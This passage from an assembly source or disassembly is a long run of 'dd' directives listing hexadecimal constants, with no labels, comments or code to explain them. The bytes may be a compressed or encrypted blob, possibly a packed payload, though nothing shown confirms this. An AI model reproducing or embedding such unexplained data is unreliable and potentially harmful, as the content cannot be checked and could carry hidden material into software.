81155CBh, 0C0F71BC5h, 16016959h, 0B5361D27h, 887C3FDFh dd 0C80701C5h, 520383C8h, 7FD6C91Fh, 54B6506Bh, 1C68E59Bh dd 8C31ECh, 2F6458C2h, 0B55E3394h, 0EDDCE004h, 2DAAB8CCh dd 0E27032D4h, 6A213038h, 758E90Ah, 5325A434h, 0AF0B3B30h dd 5448EA3Dh, 0CF172776h, 0A888EB36h, 0C44C06D8h, 0E8624B3Ah dd 0BCE5605h, 94603189h, 2DF8F66Ch, 38592C60h, 732D10A8h dd 0A7385B6Ah, 7CE686Dh, 0F6D03142h, 2F0ADECh, 533F7BA3h dd 0D4E4B011h, 0E83D8332h, 27445CAAh, 0A3C434E7h, 4B2C7B60h dd 4E61AF2Dh, 802A04E4h, 52B7E83Dh, 204F04A8h, 0AFEAB3F8h dd 0C01E732Fh, 253F1A68h, 287340FCh, 25630B70h, 18644197h dd 867A5B00h, 0C7C0D3CDh, 0D92500FFh, 95768E1Ah, 0D4988753h dd 8B30FB16h, 9AC068DBh, 9315BC9h, 1618FDB8h, 1560DE12h dd 88E94B47h, 0FCB80160h, 0A11BA509h, 0EACCA03Fh, 94C65358h dd 81B304E0h, 0D234ADCDh, 2B8BCFDh, 0C24B8607h, 0EB116B1Eh dd 0F43CCB78h, 7674B492h, 5888354Ah, 0C4F12053h, 0B0E7FD04h dd 40A46CA5h, 2FD03E76h, 48601703h, 8AA8ECD1h, 74B84EBh dd 122C588Ch, 0F46F833Bh, 0D741C4DCh, 51AB1888h, 4928512Dh dd 0B1F020DBh, 0C6AF02BAh, 9F3CB28Bh, 38B42075h, 1E164BABh dd 0C07B7FE1h, 0F4271161h, 7700689Eh, 80CB5148h, 4B0D538h dd 9BA4142h, 151C91A8h, 0EE0BE88Ah, 0ED7EFF00h, 61F708D1h dd 533D0A64h, 72D4B321h, 91F0155Dh, 0D04880CCh, 1F62E55Eh dd 0C5524018h, 2147436Ah, 4D114A0h, 458F14B8h, 0E455B127h dd 20823412h, 4298747Fh, 0C509D370h, 60DDE4F8h, 33A5231h dd 0AB564684h, 1416E18Ah, 280D186Ch, 823B6913h, 704A3EF8h dd 0DC34D4h, 0D36A698Dh, 0EDA6DCA0h, 0FCF0E069h, 2705DED4h dd 0E44C5DDBh, 0E900C8B2h, 1993D30Ah, 0A00768A2h, 51D0CC57h dd 8960B337h, 258C259Dh, 0D451A671h, 9187BD1h, 6BB5B401h dd 2FB34752h, 9A2A1461h, 0E4CA4B04h, 57C07BC8h, 0AE10A9h dd 0BCE75F3Fh, 95030963h, 0C4FCE0D3h, 0C198DA5Ah, 7E042C07h dd 0ECC0882Bh, 0CA866600h, 0D009EE7Dh, 0B71C4A03h, 5CF64F28h dd 0FEE5CDA1h, 6C16B7E0h, 0BB62CA13h, 0DCA8D085h, 80B1B812h dd 30EB8D6Ch, 0AC82CB4Fh, 2B4C8099h, 3BBC036Ah, 73813CC7h dd 0C27CFD8Fh, 0F3DD44Ah, 0B74A8AF0h, 0E8B918EDh, 92000CF4h dd 0C82E96A8h, 40DB4AACh, 0B7FE224Dh, 4EEB7h, 2F4ADBC8h dd 4D621446h, 0B0099D26h, 8ECED309h, 0EC814E4h, 54FD6111h dd 9F1504A0h, 88AEBB88h, 560075CCh, 0A236255Bh, 9EF53D17h dd 6C66ADB8h, 77E3F212h, 8C10DCF8h, 3D2700C9h, 0B11EB074h dd 3424BDA5h, 8CED0Fh, 0DACB4402h, 0DC9E18h, 0E1133CB4h dd 57840912h, 16AA300h, 7537F0F1h, 999CA1F2h, 2A099832h dd 0EF0022A9h, 501E5584h, 0E2FB0A00h, 3D714F30h, 80655AB3h dd 0AD2A86CCh, 0D0B3E8D2h, 54F75602h, 6E55E0DEh, 56049E60h dd 2A00C846h, 0E4E33D1Eh, 8709143Ch, 5B8677B6h, 57AF5870h dd 0E7E3C807h, 9973D5F8h, 5D210039h, 0C6C3792Ch, 2B00C5B1h dd 0FFCE17E5h, 18E395Eh, 3413018Ch, 0CF89B0A5h, 51BAF827h dd 350C0044h, 0C03C9CEBh, 0AD922F00h, 91346F30h, 94E70153h dd 78E3F6DFh, 4D87C63h, 0F4EC22A6h, 755C32BBh, 34628700h dd 5AC30581h, 0F1FDC165h, 0F03E2B74h, 0AC00CB23h, 348EA6CCh dd 38F42371h, 2DA4582Dh, 0D450559Fh, 7441055Fh, 2F933484h dd 2DA45824h, 988940FDh, 8354A818h, 0FE4F1500h, 87C9793Bh dd 22AFE17h, 7DDBE455h, 2AE17335h, 98352E83h, 0DDC864CBh dd 0D5AB96C0h, 3B88008Fh, 0BA37ACA4h, 6D5E5B8Dh, 3F1E7CB2h dd 2F88E874h, 70B74328h, 930CAD00h, 1265D0C0h, 0E61B52B1h dd 0E4824BC0h, 0D4020BC9h, 0C05CA74Dh, 25EDA450h, 94CEC2D4h dd 0A820225Bh, 0B47332ACh, 0B65ABC04h, 0D068E3F8h, 76A501h dd 9C906FFDh, 0DDB33CC0h, 8E4CB15Ch, 0C4CEF60Bh, 5BC0CBC8h dd 17809276h, 40733B2Ah, 0F73452E8h, 2EF9350Ah, 0B70D7061h dd 3206000h, 5164049Fh, 40E770A0h, 9C3E9BDCh, 0D47A0927h dd 64605680h, 1536Ah, 41A33D82h, 8080093Eh, 0D0974470h dd 6FC540F4h, 332010BFh, 0E0EC1ACEh, 90DF1491h, 1778FE1Ch dd 0A3487Eh, 0AE546650h, 0A609BFDDh, 708285ABh, 0DB8B0B34h dd 0C56C5CFh, 0B95B3F02h, 808056A5h, 0CABF2975h, 2512A779h dd 68C2C864h, 8288E077h, 9D929CDh, 8C71A7ECh, 580C642Ch dd 97A031D4h, 0A11B3C00h, 66543239h, 42E95F8Ch, 0B255EC94h dd 65308264h, 649455C7h, 0CC709725h, 8494218h, 22FDF58h dd 0A7994B24h, 71766501h, 0C470ACCDh, 0C8C571BBh, 0E080AE59h dd 0ACB48C92h, 0B6384A4Eh, 5B623A64h, 60A744E7h, 521E430Ch dd 74FCE324h, 9158172Dh, 5FC29C38h, 7E9758E9h, 68532520h dd 40DCCDA5h, 0A59FEB24h, 0D3BDEE03h, 6B05F0h, 78D7A621h dd 11DAA0F5h, 0E29AEC0Fh, 0CA0AB685h, 1605E8BDh, 0E4940D6Fh dd 1B06EBAh, 4755D5A0h, 32EDAB3h, 0BCDE3D8Ch, 0D7E068A6h dd 0F061CA80h, 0A45C34C5h, 0A680C511h, 0EA27B0D0h, 0A717054Eh dd 0BBD835A0h, 8F9AAC44h, 19F048B8h, 144B60A6h, 13CC1C88h dd 9C47CF6Ah, 621AB2F0h, 5419742Fh, 4ACC40CCh, 0F4BA4CFFh dd 3D75EB03h, 3A746234h, 0B14AEA08h, 0BF199268h, 6E3BA004h dd 0B164C545h, 0B8483968h, 332C08CCh, 0AE026017h, 71C28425h dd 50A21138h, 0CD4847C4h, 2C69132Ch, 0BD0220A2h, 0E995A333h dd 884B280Ch, 8A4B0FA0h, 40B7E4F6h, 0CE9F59B4h, 1778E913h dd 8A4A68ACh, 6C417458h, 0E068A62Eh, 1F52359Eh, 0CCC6D971h dd 9854E88Fh, 7CCEBA4Ah, 0F0629F2Fh, 0C2044D55h, 0ED405C1Ah dd 0BF0EF50Fh, 9742B2EBh, 1F8D24F0h, 923FA2D1h, 8488B281h dd 0B8AC2829h, 8CC2ECh, 93B9367Fh, 0DE8FE41Ah, 77C9917h dd 0CE6F8090h, 362B0B32h, 80171C17h, 1180CF91h, 0D29B6BD1h dd 0E0576102h, 0C08C396Eh, 83DE7344h, 14665A88h, 0A0183Fh dd 0E07C9D37h, 1A6BA94h, 3D7EAD19h, 7EA750E3h, 8C7F603Bh dd 0C7EAA505h, 41ABEDDCh, 276AB4D0h, 34C10476h, 8E6FDE0Ch dd 0C0DEC81Ch, 26468D58h, 0C11840BDh, 44539509h, 5ED4D625h dd 26137C46h, 162001FAh, 0B83077h, 9FB0A4B7h, 11F72448h dd 0C10D610Eh, 5CC8D7E7h, 2C1002C2h, 361650AAh, 915497DDh dd 0E0C58F37h, 9A091803h, 632C0BF2h, 687251A3h, 10A19D5Eh dd 0DAF24872h, 0F6A28530h, 4CE28Bh, 0CF2707E2h, 0F5662F7h dd 1E51EF05h, 50C89F9Dh, 992D00EDh, 34655B41h, 2E04C9BAh dd 8AC8D9EEh, 0C080DABBh, 4548E683h, 8B0600ACh, 584B4C13h dd 0ECB42C0Fh, 1FCC5588h, 870713E8h, 9177D948h, 77F0600Ch dd 89FF8A26h, 0F490DC74h, 2463EA00h, 3C9CBC65h, 6123259Fh dd 1F41C5Ch, 693F3CCEh, 806A0795h, 0E9928269h, 4423315h dd 50B21696h, 4457AB3Dh dd 79A28CA3h, 0D207C31h, 4A4F0427h, 0C82C78FCh, 0E21D87D4h dd 94ACA8DCh, 3641B880h, 5A40EB8Fh, 2DF41F7Ch, 8E7760E8h dd 0B51A7000h, 0A7C6B344h, 2B4EAECh, 0EF30EA2Fh, 0F0DC09C2h dd 9F6B28DEh, 5E7634h, 8247A544h, 7FE2AB69h, 107AC05h dd 6EAAB1E9h, 391D01BCh, 3D854B84h, 97ADDDF8h, 0DC3EE0B9h dd 0BE448F6Ch, 58E76A7h, 0A4662EBDh, 64F858h, 0B0F1566Dh dd 2F97EE76h, 8CD0FE81h, 0C0A06DBDh, 0E8616BECh, 7160A500h dd 0A0E5029Fh, 0F32E4E5Bh, 307DE2A0h, 0B35B8E51h, 0DB6C58C1h dd 613D1100h, 9C0F8101h, 1BF7A224h, 6108A5ECh, 0BCA0C027h dd 6497CEF1h, 0E30BC63Fh, 0E8820C43h, 85CA4F0h, 8A7D0E57h dd 5AB1B9A0h, 649EE71Ah, 0E8FB9B43h, 0A8A52Fh, 0A084EB6h dd 0AB452123h, 0E1074B02h, 0D29E5CFEh, 0D45300A8h, 0D37AA30Dh dd 42047550h, 0F1AC2A08h, 548580C4h, 7E88708Eh, 0A886C7CFh dd 2425C770h, 503897DAh, 10B88115h, 544A3B25h, 993478B8h dd 0F738D609h, 51E854F0h, 8904D285h, 0C060DAAAh, 8EDD3E3h dd 92DD00A3h, 2AC2BC07h, 80959343h, 0B73FAC4Ch, 83EC3C59h dd 0AD7CE424h, 0F2C0B0CDh, 23ACAE0h, 0C5C17C4Ah, 4755BA60h dd 50997CF0h, 8E187E71h, 609DC176h, 94BB8418h, 2CFEE938h dd 0B280D08h, 28542254h, 414EB51h, 0AB529BCCh, 6B2C0C70h dd 8B51C003h, 185A9AE1h, 88A8674Ah, 23883A92h, 40621FCDh dd 17FD7EC5h, 6D12DBD4h, 0C0AC8B69h, 0E06FBB92h, 6800034Ch dd 98F2F609h, 271D115Ah, 79925D69h, 644D30E2h, 420230BCh dd 0B9E81D02h, 7C10DDD7h, 7000DA10h, 5B204C26h, 252AACB0h dd 874485Ah, 6C70C647h, 160E5BBh, 6225F431h, 20B2FC58h dd 50273D96h, 9E8488Ch, 0FEE6A7h, 0DCE418E5h, 0EF87C7C8h dd 0A0965803h, 0C4F40FD3h, 0EAE080AAh, 6DBF4895h, 899BC00Ch dd 38048F43h, 2DC8ABDAh, 2340B180h, 0DCCE95CAh, 7378EA17h dd 0FCD4BCE0h, 0B4B74B15h, 0C641F39Ch, 87B89B6Bh, 822B2F6Ch dd 55DD89ECh, 6800F0C4h, 3F7A5DBAh, 25038C9Ch, 50742B55h dd 74A01F16h, 0C1BB2D3Ch, 1680EC40h, 0C5DEF61Eh, 23AEC0D3h dd 0C1002240h, 70FB7A87h, 1A3EFF31h, 39B0FDBBh, 4295B878h dd 0DC08D4D8h, 8E6B520Eh, 0E950437Ah, 0D0A8AC31h, 58CB5F8h dd 81BB3FBCh, 2010D0CEh, 0A388CA0Bh, 9C49E35h, 8B550FDEh dd 79C8512Ch, 2418DCh, 0EDFB9C2Eh, 29B0C4AFh, 7871DF60h dd 80082C3Bh, 30A540FCh, 7960DDC4h, 3A05C646h, 4665D5Ah dd 0A514B4h, 0BB45FBDAh, 124A4E14h, 0F1007A71h, 48D6F775h dd 28DAD27h, 0DF1A9EACh, 445F41A0h, 7C0B20B0h, 0B150909Fh dd 0A6DD1E6Bh, 7248C021h, 3147A71Ah, 52CB230Eh, 5AEEEB97h dd 973DE6CCh, 0D8C7E466h, 0A50425C4h, 4B048BAAh, 0C4A8A8FDh dd 8B6F810Fh, 20B2B7FAh, 590B0071h, 0A5BF3B2h, 0E4004577h dd 33F44DBEh, 6494C5A7h, 0AE1680B3h, 0DAEB8874h, 0A0B28028h dd 3B77899Fh, 2CC98C13h, 39811638h, 8F1E6C7Fh, 38F4207Bh dd 0E89F902Dh, 31E2C4h, 0B50A65DFh, 80FC21C1h, 6E02D8B8h dd 0C6F07C8Eh, 18225781h, 5168B58h, 383CF2DAh, 2034ABA2h dd 25DC01EEh, 3CCDD153h, 60E884B8h, 3B7C0C19h, 0B1212802h dd 0FF4C72A3h, 63A4566Ah, 0DBB050BCh, 69E261BBh, 9F00CC76h dd 7A8D121Dh, 3020AC8h, 0FFF68291h, 0C6942A8Eh, 0BA1C49ACh dd 80CF011Fh, 0E9C8C137h, 0C16E1B78h, 2E2D06ECh, 77D4EC67h dd 10D408BDh, 0A46FAFD3h, 4886C1Dh, 0AA7468A6h, 102F08DCh dd 0B294348Bh, 0C4971A0Bh, 0D380DB11h, 7D95597Ah, 0F5CF0E01h dd 774B2CFFh, 0B8C1D054h, 996A3DBFh, 0C86A2BD8h, 78FD9600h dd 0DFB062F0h, 0E9A0A205h, 88F1E330h, 87F0C57Fh, 778E424h dd 21C9EC24h, 473B6E7Ch, 225E6068h, 108F25ECh, 0C054C78Bh dd 0EB80091Dh, 0CDB8A561h, 17E09ADCh, 0E3A8B11Ah, 525B2798h dd 0EB6F09E4h, 10553396h, 3078E870h, 3120C0C7h, 9905EBFCh dd 0F425A736h, 118B70E8h, 0A100A854h, 0EB3B2819h, 0BB882DEFh dd 6171387Bh, 9577E3F8h, 1DE7A86Dh, 0B6342553h, 0D6761DA0h dd 0DD054FC1h, 54F099EBh, 1817B701h, 7015A56h, 464182Bh dd 0FB4AAD05h, 0EFE8E8BDh, 0C0EA492Fh, 0A17410C0h, 0E6703C8Ch dd 1300B9C6h, 0C270D747h, 0D86AA6BDh, 0A44F4856h, 28B83952h dd 0B0C4E64Fh, 1AF5790h, 7A6126FFh, 2BE19D5Bh, 925AF428h dd 8C5B9F94h, 121F6170h, 0AC07C751h, 7B100340h, 89762E1Ch dd 8DF0ACADh, 88C2736h, 3F9B5868h, 13007176h, 0F7B06535h dd 1FC854Fh, 8B51183Dh, 0F0F90136h, 8F740D1Ah, 20F21E4Ah dd 6D7830Fh, 0DBF1FFC0h, 760FCB63h, 32907D8Fh, 375C01AAh dd 308D5E66h, 0C8B25314h, 2C37BDh, 28CB5E57h, 0E4047C7Bh dd 0A1B16A48h, 0B5C134F8h, 2BD9097Ah, 0E610088Eh, 54EC4B38h dd 3FE41D02h, 0D4718772h, 0AD18DB79h, 35065900h, 82B3D59Ah dd 812A255Fh, 74915CCEh, 2918DF71h, 0D8C6CC00h, 511BE7C5h dd 80144B39h, 0FB632A50h, 0D92F389Ch, 8D3480C4h, 0D9975E98h dd 0C04A8978h, 9FF82CA9h, 0D325700h, 0AD5B3EFEh, 18C795D1h dd 50785B27h, 2001D42h, 0B84AFBC7h, 161B0610h, 0B87F30EBh dd 290978F0h, 73CF4024h, 13AC8784h, 4F3130DEh, 74AA10Dh dd 0BFD88CE5h, 0D4D7006Ah, 670E1DC6h, 403DF445h, 27EC58F7h dd 0F14C5959h, 3E2187Ah, 939B9005h, 5EC9F00Dh, 0BFC4410Ch dd 20B00451h, 2D24BA7Fh, 648BEE9Eh, 1A41E456h, 5B20B9D9h dd 628B1F65h, 3F9F8A8Eh, 2792808Ch, 0D007DE64h, 0AE5B3700h dd 9447C43h, 425E160Ch, 5FE0A9D5h, 0A600D8E2h, 4EF4A8B6h dd 76124C70h, 0C00B4B8h, 305BB227h, 8A170093h, 6D29EE1h dd 0CB127A8Eh, 0E8ACA418h, 98901122h, 63933B1Bh, 0C4F5F8C8h dd 12BCA3D6h, 0BE285B28h, 70F4F420h, 68C500F8h, 0C73A4B32h dd 20B187Ah, 0D9DA6450h, 6C1F88F8h, 0F721A609h, 0A2143410h dd 0FEFA6400h, 0E68B422Ah, 0DECA024Bh, 0B3086F7Ah, 95E010F7h dd 0A48C0026h, 4E43691Ch, 3F7A90A9h, 7FCAB360h, 46F2168h dd 0CA021518h, 20B0AC79h, 3D8002DAh, 9FBAEB7Fh, 22174C44h dd 0C04B626h, 7603A8E9h, 9916A430h, 6806123Ch, 650811B9h dd 0AB9A30A6h, 80BC1048h, 2F2BAF1Bh, 0B158070Fh, 3F2884D0h dd 181B68D7h, 9740E8DCh, 242DD8D2h, 444CD80Fh, 0D8B8FFDAh dd 0E0C08720h, 2CCD19A9h, 33B9C0A6h, 3B8900ACh, 2B1DFC65h dd 73E10193h, 0F5969171h, 0A77C7013h, 39CE7540h, 49DB6C25h dd 30D50D4Ch, 0B0694854h, 0F62218F8h, 3DA619ABh, 20A8669Dh dd 41B7B838h, 105564Ch, 134AACF0h, 1620294Eh, 0CA3C020h dd 0F430A3B2h, 23333C2Ch, 25251049h, 7C8EA4FEh, 5E90FAE0h dd 940DDC38h, 0C0B1BDE3h, 0F20242E9h, 1700905Ch, 0AB3AAC64h dd 93E4BE46h, 0D34CFC21h, 0CFD81C02h, 5F9C92DAh, 77009CB7h dd 474E8328h, 903BE39Fh, 65B95B08h, 771F1600h, 0EFC971DEh dd 0A3985A1Ah, 37AFC0CCh, 569E1512h, 41B044B6h, 0B12C48FCh dd 0BB09A827h, 12B4D6A9h, 34C8E474h, 0A6B650Fh, 60A168E0h dd 31B33F17h, 20C44895h, 3ADE421Fh, 12B920F5h, 0E2FCAF2Ah dd 0ECE8A5CCh, 0E4270980h, 910FB554h, 4025C547h, 70800799h dd 3268793Fh, 0BAA90D50h, 1037DDh, 8DEFBAD6h, 1E88AD09h dd 661200E0h, 0E2209CD8h, 45B556F3h, 381A9194h, 58A6DA42h dd 0DB307BA2h, 42541D24h dd 7C23C037h, 1328F55Ch, 3EA4E251h, 86E0CCA6h, 0E9523D61h dd 79370088h, 69946628h, 0F4F99712h, 352C644h, 78497708h dd 58F3344Fh, 187AD889h, 58F0DB95h, 0F71E552Fh, 0C54498CDh dd 0C812BD4Ch, 0A3077CD8h, 0F3705D81h, 0D9A96960h, 0A88A4ACEh dd 0AB56A254h, 4084D8B4h, 1C5B17C3h, 0F84EC86Bh, 0DB5C8044h dd 123CCB28h, 0FFD579B3h, 2FFF424h, 0D1752170h, 2F90B85Ch dd 50706BD2h, 8DA28F8Ch, 0FEA7AC56h, 0FCE5DC24h, 9604AAA6h dd 0E6434CD8h, 0AE4C75ABh, 1101086Ah, 0E5E7EBF9h, 0DDDD47A4h dd 44B12BA0h, 7B19DF0h, 0C18DFDCh, 0E1E5F4F4h, 0A4102B18h dd 8C34AC38h, 0CD9C1800h, 8EC33645h, 0A82E1276h, 0BC28BD8Ah dd 4F840071h, 0D04806Ah, 6C982F36h, 97A76520h, 8C4288D9h dd 883120BEh, 0EC007DD0h, 0F637CDA3h, 0AA2A04A7h, 70445DBCh dd 0EAF36D0Eh, 0EBD6846Fh, 946698E0h, 7C7681D4h, 2ADC73ACh dd 3BA2A4E3h, 582D4A30h, 3F22BC9Ch, 34E18D5Ah, 6544882Bh dd 0AC4B560Eh, 8F0FA030h, 0BD5B58EBh, 62D6BC07h, 3AD5C8C5h dd 0B5FF0h, 46D604FEh, 8CBB0438h, 80914F09h, 5E3B33A6h dd 0AA055368h, 2CE93474h, 641F15A8h, 9B40D16Ah, 0A4B888ABh dd 0A4C897C5h, 3545A66Eh, 0BB14E1D7h, 66CC497Eh, 11681F77h dd 0D52D8031h, 151A4C0h, 80D493EFh, 6FD0EDA7h, 74AA1484h dd 6CDAAEACh, 5256A680h, 2A093ECFh, 0B3AC8AE7h, 0CB43D100h dd 4E081F6Fh, 91A4CF3Bh, 6012ABE4h, 91E09CE6h, 0E80446A7h dd 0F6493DDFh, 52342482h, 0F5F70268h, 1E017C8Eh, 8A4A74DAh dd 0D5C0109Ah, 41B21153h, 0B1575006h, 2F2147ACh, 7CAB2C76h dd 6B006844h, 421A611Ch, 0EFC1Bh, 2B953129h, 0AFD23D17h dd 0EC7AA901h, 71DD2D0Ch, 88BC8F3Fh, 0DCDEC9D8h, 0DCE8180h dd 9CF2AB0h, 0D6D5533Ch, 7C5C900Bh, 4835DC40h, 4EBA00C7h dd 333B091Ch, 0DD3F4010h, 0F540039h, 0E6816CA3h, 0B0144A3Ch dd 227F2FC8h, 0DB8BF101h, 0EDA36BB8h, 0E10FA86Dh, 82D7A0D6h dd 0A7D5BAE4h, 0DAE211ACh, 62585C40h, 4C5AC5CEh, 10AC145Ch dd 2E2FA901h, 3E459CF9h, 0FFD89482h, 0CB69941Ch, 0B4B7D5D1h dd 3C859702h, 8D386055h, 881309ACh, 0B811339Fh, 1CA63A18h dd 74423BEh, 0C90E6713h, 0FD28B980h, 804FBA7Fh, 0B5C8EC8Bh dd 0C8EC86C5h, 7D6D9B81h, 2A8EC463h, 0E3F1AE12h, 2FC4A4ADh dd 0ECE0F8BAh, 8B7C8CDBh, 329DE30Fh, 0CF062374h, 415FB1CCh dd 1058CE6Ah, 0C15AB3B1h, 3FF08E40h, 0EB0114A2h, 2AE33C1h dd 0AFB0BE79h, 54E0D18Dh, 5DBC7D1Ch, 8D64BF01h, 4865E7F0h dd 2FD89D2Ah, 8FA04CE6h, 0E21E8A0Eh, 0B25122B5h, 4A38A84Fh dd 0C2C8ACDAh, 80EE53C3h, 0B63E7EDh, 0B3C1439Fh, 3B1EC418h dd 9BAAA509h, 61E456C5h, 654B40E8h, 6D4442C8h, 641E832Fh dd 4C194F8h, 2421D583h, 478DE61h, 252AC380h, 0D0BE70B9h dd 0D732A662h, 0DC2C4C18h, 7268E183h, 0D4485CF2h, 8001CE46h dd 6D68C301h, 0C89C5B52h, 0CEAC0CFh, 3C00EB16h, 8F276684h dd 978A820Ah, 19A63C18h, 0AF4C519Dh, 23C1FC6Dh, 7ED8ABBAh dd 0FC0750AEh, 84EB4B74h, 889EEF20h, 0D14BC880h, 361207ABh dd 28B8C731h, 0AABCC44Dh, 4CD9F400h, 0DFB67FF8h, 0A96D2D50h dd 50C6859h, 7F63173h, 7B6AF5EAh, 0D63CA01Ch, 311E5D44h dd 48425A4h, 80FB61A8h, 16416228h, 2CE3BB4Ah, 0BA25A612h dd 18FDA057h, 0A070F6D3h, 0F08DCF2Fh, 708826D6h, 5C5B254Ch dd 2936C70h, 3D03E23Ch, 0AEE17879h, 17823BEh, 6D9AFF64h dd 55E28D58h, 0B51174B5h, 28712289h, 0F7784A84h, 3282B4D4h dd 7070C0D0h, 6CE70081h, 16C99509h, 0F3958ABAh, 168158B8h dd 56279C9Ch, 0B546D610h, 0BF49BD34h, 4AAEACC8h, 2760E7A9h dd 11389F8Fh, 0D94F8344h, 6D6CC077h, 510C0033h, 0BAA942D4h dd 1E267A8Eh, 3C125F28h, 76BBE892h, 73465ED0h, 8C79EC25h dd 5AC3A703h, 0A8BDE87Ah, 54AE3AB9h, 4F8EE101h, 0C2ECC20Eh dd 7F443AD7h, 5000A0B5h, 9E7EB323h, 84DF4811h, 7056512Fh dd 65EB8100h, 0F3DF667h, 2F6195FFh, 7A742F9Fh, 0B2C903DCh dd 17B98D89h, 0B5FF4603h, 0B7ECBACEh, 2A79BDC1h, 6A7F19A7h dd 0E441F5D2h, 3FDFC83h, 300F0280h, 605B7584h, 0EBF94AB0h dd 0FE3A1100h, 55D1912h, 13C5381Fh, 2BA79F00h, 8B611A33h dd 30558516h, 3AEE7AFEh, 649F0566h, 0DEBFC6E1h, 0E9BAC199h dd 0E27A6A66h, 2EF000AFh, 94E31258h, 9A7700F6h, 8B6F1704h dd 0C7095FF9h, 0DF27A985h, 0F42FD6F9h, 9D8DC181h, 0BF66010Ah dd 0AD200321h, 0ADFF71F3h, 9FB5E2D9h, 40CF4FFFh, 6982BBB0h dd 60B90C02h, 908D9D8Bh, 17E681EBh, 0FA61BCA1h, 8A509C30h dd 48919F9h, 0F8297424h, 0FBFD2E5Dh, 0F0DBBEC5h, 74F52CC0h dd 0F0BF8FCCh, 0F672C137h, 7B05ED96h, 0D1E0B8B6h, 3A0B1929h dd 0DDE94D6Bh, 12243E90h, 0D4B3D700h, 91BBA579h, 12467A6Bh dd 2C0835Fh, 45D9D73h, 41509002h, 9D4FA6Fh, 0EDED5FBDh dd 0B5ED5BB4h, 0E2680DBCh, 0F305AF3Ah, 9DFED89Bh, 79F67B22h dd 0AA1B62A0h, 5760CA30h, 108938B3h, 412F7185h, 42FFC6E0h dd 9323724h, 0E22485DFh, 2967888Ah, 0D118149Bh, 4F4DCF7Eh dd 379CAAFCh, 44FF8A69h, 0EEE00B0h, 1D1870E3h, 21ECF515h dd 0B44B2F09h, 8C20846Ah, 0A6E59B98h, 12E830C9h, 0FE5D881Bh dd 5A79D300h, 42A4D91Eh, 0EE8E7A05h, 13110655h, 0B6905BACh dd 0A1FC0144h, 0A37AADB9h, 3015E2ECh, 0E090801Ch, 0E9879D05h dd 8BFE0F32h, 9741705Dh, 736BEA3Bh, 0BBB7E00Bh, 11B7DDh dd 9A8B2D48h, 730950B0h, 2345F86h, 726416Ch, 96D16529h dd 0DFA1820h, 4BBB8182h, 77F2EC90h, 2D606D4h, 0ABA8F66Fh dd 9E402F40h, 444D6EBBh, 0F0B64617h, 2780C5F9h, 667DF5DBh dd 9D2B1230h, 0BFC85339h, 1AB2B8E6h, 0A0957F30h, 2CF83CBAh dd 1076039Eh, 0D98B1705h, 0E55C67FBh, 6A9F4F39h, 99B58BBFh dd 4FBB7D20h, 460924EFh, 2DAB70Fh, 0E07C936h, 43211E49h dd 7EB58531h, 0BC4825E2h, 1729F110h, 35EB70E6h, 0B391FBAEh dd 0FA050F41h, 40F8C493h, 5271E0BFh, 4076E612h, 0B6040F17h dd 0BADA8BC8h, 62B9A598h, 60C1C726h, 0CD1DF60h, 64F25281h dd 0DA40093h, 11C08B63h, 61145F50h, 29EE8C1h, 0D8A098D7h dd 0D4814007h, 9958BFDEh, 0A5A15CCCh, 0F8C8062Bh, 0CCD18BF9h dd 0FE1F652Fh, 3DF2CCBAh, 858B1961h, 0B5FF2B41h, 9B39D8Ch dd 498E568Fh, 6007CC86h, 0D9243920h, 8A594512h, 8BD03BFBh dd 234C0E11h, 65AADF3Eh, 8F1227Dh, 2F2159BDh, 754066DCh dd 0F99EDC4h, 8C0459B0h, 9A277F80h, 4A0EEF94h, 3D1996CBh dd 1505FC56h, 8DEA01E1h, 0D8F70382h, 0B65927Ch, 330BA5A5h dd 0F290D7FEh, 8077BB5h, 1D575AF8h, 89C379B0h, 10152A95h dd 8749EDE2h, 51EBA920h, 23C2CDABh, 13F2B58Dh, 0EDF52D62h dd 52C4C051h, 0E717481Fh, 0EB04B183h, 1AA527B9h, 11DB7482h dd 0C4F7529Dh, 36E00035h, 0BE655F3Dh, 4A00D9CCh, 0C24DBAB5h dd 14485EA2h, 0F609ADFCh, 172E6D10h, 75EF5F5Bh, 0CB6BC2h dd 0C602BCC0h, 2EFAE10h, 9973D381h, 71C01ACAh, 0B980068Dh dd 87074880h, 101F7984h, 76FC2FD3h, 2908DC20h, 96AECEDh dd 879DFCFFh, 9D891411h, 6853C855h, 0F34000BFh, 0ED4A2144h dd 0D5E4F9CFh, 78E1D90Bh, 0FE34819Bh, 85C3B85Bh, 80E49EFBh dd 0ABCA311Fh, 5B8015Ah dd 0F6EBC4Ch, 4BD228Eh, 0B5DBD01h, 0EBD22B05h, 3D808C9Bh dd 1EEEB8EDh, 19838524h, 5FD5C100h, 3333AD39h, 0D052D1C2h dd 7504E9F0h, 6BABF44Ah, 2CE84B95h, 109C113Ah, 0B9D6685h dd 3DD7162Dh, 7EAA0076h, 0F20ECF4Ch, 69205890h, 880D3312h dd 4DDA3329h, 958B9EE8h, 0BD265525h, 84AB0046h, 0BB0DE830h dd 505E341Ch, 5134166h, 0BCC04751h, 0DDC00267h, 0C513F8F7h dd 4B53C60h, 0C25E3C83h, 0C103188Dh, 59A5FF08h, 5B5819C8h dd 0E30BC09Dh, 161299DFh, 30800F7Ah, 17C5952Bh, 0F1FDC082h dd 7E50821Ch, 0FD24B26Bh, 0B6809737h, 5B31BE10h, 94453878h dd 30D39048h, 0B44DCC57h, 0F3C73C07h, 6D138D3Dh, 0B9845E4Eh dd 0DDB8C4h, 8671AB77h, 0BA2C6F3Dh, 2311E830h, 0D3CC78h dd 0D6AF5FA7h, 0E06071BDh, 0C3F68803h, 9A08A90Fh, 5F52858Ah dd 2DB0D82h, 0FF021F51h, 346DFDE1h, 129031C0h, 2642E2EBh dd 134FCBD2h, 0D7D905FAh, 0BD4C806Ch, 0BFA6163Dh, 0D404DB2Fh dd 0C60EF463h, 640F2F65h, 0EDFA292Eh, 203442F6h, 4EC24301h dd 0C0EB8FFEh, 2B33EAFDh, 0DE381E9Fh, 60986C94h, 9E64818h dd 17BCA302h, 906052F7h, 220F0340h, 81014C86h, 0E77EE6C7h dd 0A133607Ah, 0FD301AA2h, 5EFE05CEh, 0FEED79CCh, 0D83A21C4h dd 4A041523h, 90816085h, 0EF620F51h, 72CCD10h, 4E18061h dd 6A4010C4h, 581D2D12h, 5D26DB00h, 53225E3Ch, 14C67E6Ch dd 0B7C90ADFh, 240A6B25h, 0EA00DE23h, 0E0213A2Fh, 4F426043h dd 0A36F40E9h, 396DE772h, 7CCE4B0Fh, 626E0588h, 2869D1C1h dd 0A870F00h, 0EBB0FD9Dh, 6D0146C6h, 85334022h, 6E330E61h dd 7D3018E2h, 